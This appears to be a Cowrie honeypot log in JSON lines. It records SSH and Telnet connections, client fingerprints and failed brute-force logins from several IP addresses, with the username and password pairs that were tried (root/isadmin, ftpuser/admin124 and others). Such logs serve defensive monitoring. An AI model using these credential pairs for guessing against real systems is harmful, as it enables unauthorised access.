{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:07.876055Z","src_ip":"159.203.92.129","session":"98820151e410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TianhengZhao","password":"123456","message":"login attempt [TianhengZhao/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:07.893838Z","src_ip":"159.203.92.129","session":"98820151e410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:08.901135Z","src_ip":"159.203.92.129","session":"98820151e410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33990,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ce2f2319c24","protocol":"ssh","message":"New connection: 159.203.92.129:33990 (159.203.135.109:22) [session: 2ce2f2319c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:51.300200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:51.305248Z","src_ip":"159.203.92.129","session":"2ce2f2319c24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:51.312195Z","src_ip":"159.203.92.129","session":"2ce2f2319c24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TianhengZhao","password":"TianhengZhao","message":"login attempt [TianhengZhao/TianhengZhao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:51.327791Z","src_ip":"159.203.92.129","session":"2ce2f2319c24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:52.334892Z","src_ip":"159.203.92.129","session":"2ce2f2319c24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":7843,"dst_ip":"10.17.0.5","dst_port":22,"session":"95295f601045","protocol":"ssh","message":"New connection: 201.149.53.243:7843 (10.17.0.5:22) [session: 95295f601045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:54.473131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:54.477380Z","src_ip":"201.149.53.243","session":"95295f601045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:54.541787Z","src_ip":"201.149.53.243","session":"95295f601045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"admin124","message":"login attempt [ftpuser/admin124] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:54.848417Z","src_ip":"201.149.53.243","session":"95295f601045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:55.916980Z","src_ip":"201.149.53.243","session":"95295f601045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":35082,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfab963f132c","protocol":"ssh","message":"New connection: 210.183.21.53:35082 (10.17.0.5:22) [session: dfab963f132c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:56.638531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:56.644006Z","src_ip":"210.183.21.53","session":"dfab963f132c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:56.841179Z","src_ip":"210.183.21.53","session":"dfab963f132c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"test","message":"login attempt [guest/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:57.661767Z","src_ip":"210.183.21.53","session":"dfab963f132c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:58.865373Z","src_ip":"210.183.21.53","session":"dfab963f132c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":49548,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcff45333590","protocol":"telnet","message":"New connection: 122.102.44.174:49548 (10.17.0.5:23) [session: bcff45333590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:14.641249Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":33418,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6d50043d8ce","protocol":"telnet","message":"New connection: 122.102.44.174:33418 (10.17.0.5:23) [session: b6d50043d8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:27.573448Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53980,"dst_ip":"159.203.135.109","dst_port":22,"session":"d91b8047df01","protocol":"ssh","message":"New connection: 159.203.92.129:53980 (159.203.135.109:22) [session: d91b8047df01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:34.504564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:34.509187Z","src_ip":"159.203.92.129","session":"d91b8047df01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:34.514105Z","src_ip":"159.203.92.129","session":"d91b8047df01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TianhengZhao","password":"TianhengZhao123","message":"login attempt [TianhengZhao/TianhengZhao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:34.525814Z","src_ip":"159.203.92.129","session":"d91b8047df01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:35.534798Z","src_ip":"159.203.92.129","session":"d91b8047df01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":41208,"dst_ip":"10.17.0.5","dst_port":23,"session":"96768563366e","protocol":"telnet","message":"New connection: 122.102.44.174:41208 (10.17.0.5:23) [session: 96768563366e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:36.576693Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":48074,"dst_ip":"10.17.0.5","dst_port":23,"session":"85968f3a5cf4","protocol":"telnet","message":"New connection: 122.102.44.174:48074 (10.17.0.5:23) [session: 85968f3a5cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:44.642126Z"}
{"eventid":"cowrie.session.closed","duration":30.52688217163086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:45.168007Z","src_ip":"122.102.44.174","session":"bcff45333590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":50650,"dst_ip":"10.17.0.5","dst_port":23,"session":"89ecf4e73293","protocol":"telnet","message":"New connection: 122.102.44.174:50650 (10.17.0.5:23) [session: 89ecf4e73293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:47.614070Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":50756,"dst_ip":"10.17.0.5","dst_port":23,"session":"4233b88552c7","protocol":"telnet","message":"New connection: 122.102.44.174:50756 (10.17.0.5:23) [session: 4233b88552c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:47.727250Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":3702,"dst_ip":"10.17.0.5","dst_port":22,"session":"abb296c0b5b5","protocol":"ssh","message":"New connection: 201.149.53.243:3702 (10.17.0.5:22) [session: abb296c0b5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:47.732879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:47.737850Z","src_ip":"201.149.53.243","session":"abb296c0b5b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:47.803429Z","src_ip":"201.149.53.243","session":"abb296c0b5b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertyu","message":"login attempt [ubuntu/qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:48.095573Z","src_ip":"201.149.53.243","session":"abb296c0b5b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:49.163861Z","src_ip":"201.149.53.243","session":"abb296c0b5b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":53282,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef1dea5d20dd","protocol":"telnet","message":"New connection: 122.102.44.174:53282 (10.17.0.5:23) [session: ef1dea5d20dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:50.621522Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":52256,"dst_ip":"10.17.0.5","dst_port":22,"session":"33eefdf4bd35","protocol":"ssh","message":"New connection: 210.183.21.53:52256 (10.17.0.5:22) [session: 33eefdf4bd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:50.806452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:50.815446Z","src_ip":"210.183.21.53","session":"33eefdf4bd35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:51.022588Z","src_ip":"210.183.21.53","session":"33eefdf4bd35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"isadmin","message":"login attempt [root/isadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:51.883007Z","src_ip":"210.183.21.53","session":"33eefdf4bd35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":54944,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f86509a7a70","protocol":"telnet","message":"New connection: 122.102.44.174:54944 (10.17.0.5:23) [session: 5f86509a7a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:52.585293Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":54948,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0903f93233a","protocol":"telnet","message":"New connection: 122.102.44.174:54948 (10.17.0.5:23) [session: a0903f93233a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:52.589389Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:53.092636Z","src_ip":"210.183.21.53","session":"33eefdf4bd35","protocol":"ssh"}
